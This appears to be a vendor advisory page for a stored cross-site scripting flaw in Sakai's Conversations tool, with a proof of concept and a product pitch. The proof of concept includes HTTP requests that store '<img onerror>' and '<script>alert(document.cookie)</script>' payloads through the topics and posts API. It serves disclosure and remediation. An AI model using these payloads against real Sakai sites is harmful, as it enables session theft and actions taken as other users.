CVE-2026-54049

CVE-2026-54049 is a high-severity cross-site scripting (XSS) vulnerability in org.sakaiproject.conversations:sakai-conversations-impl (maven), affecting versions >= 23.0, <= 23.3. No fixed version is listed yet.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Sakai Conversations has a Stored XSS Issue

The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.

Description

The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (conv_topics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.

The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in conv_comments.

On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:

  • SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)}
  • SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)}
  • SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}

Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.

Proof of Concept

Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP_275K_7418).

Step 1 - Inject XSS payload in topic:

POST /api/sites/BELP_275K_7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}

Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.

Step 2 - Verify stored in database:

SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Result: MESSAGE = <img src=x onerror=alert(1)>

Step 3 - Inject XSS payload in post reply:

POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json

{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP_275K_7418"}

Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.

Step 4 - Verify in database:

SELECT POST_ID, MESSAGE FROM conv_posts
WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Result: MESSAGE = <script>alert(document.cookie)</script>

When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.

Status / timeline:

  • 2026-06-02: Fix committed to master (2696b4b48cbef2e81512f52f84f7477adff78b27)
  • Release pending.

Impact

An attacker with any site membership (student role or higher) can:

  • Perform actions on behalf of victims
  • Exfiltrate gradebook data and course content
  • In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-54049 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

org.sakaiproject.conversations:sakai-conversations-impl (>= 23.0, <= 23.3) org.sakaiproject.kernel:sakai-kernel-impl (>= 23.0, <= 23.3) org.sakaiproject.rubrics:rubrics-impl (>= 23.0, <= 23.3)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

No fixed version is listed for CVE-2026-54049 yet.

In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-54049? CVE-2026-54049 is a high-severity cross-site scripting (XSS) vulnerability in org.sakaiproject.conversations:sakai-conversations-impl (maven), affecting versions >= 23.0, <= 23.3. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
  2. How severe is CVE-2026-54049? CVE-2026-54049 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-54049?
    • org.sakaiproject.conversations:sakai-conversations-impl (maven) (versions >= 23.0, <= 23.3)
    • org.sakaiproject.kernel:sakai-kernel-impl (maven) (versions >= 23.0, <= 23.3)
    • org.sakaiproject.rubrics:rubrics-impl (maven) (versions >= 23.0, <= 23.3)
  4. Is there a fix for CVE-2026-54049? No fixed version is listed for CVE-2026-54049 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-54049 exploitable, and should I be worried? Whether CVE-2026-54049 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-54049 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-54049? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.

Stop the waste.
Protect your environment with Kodem.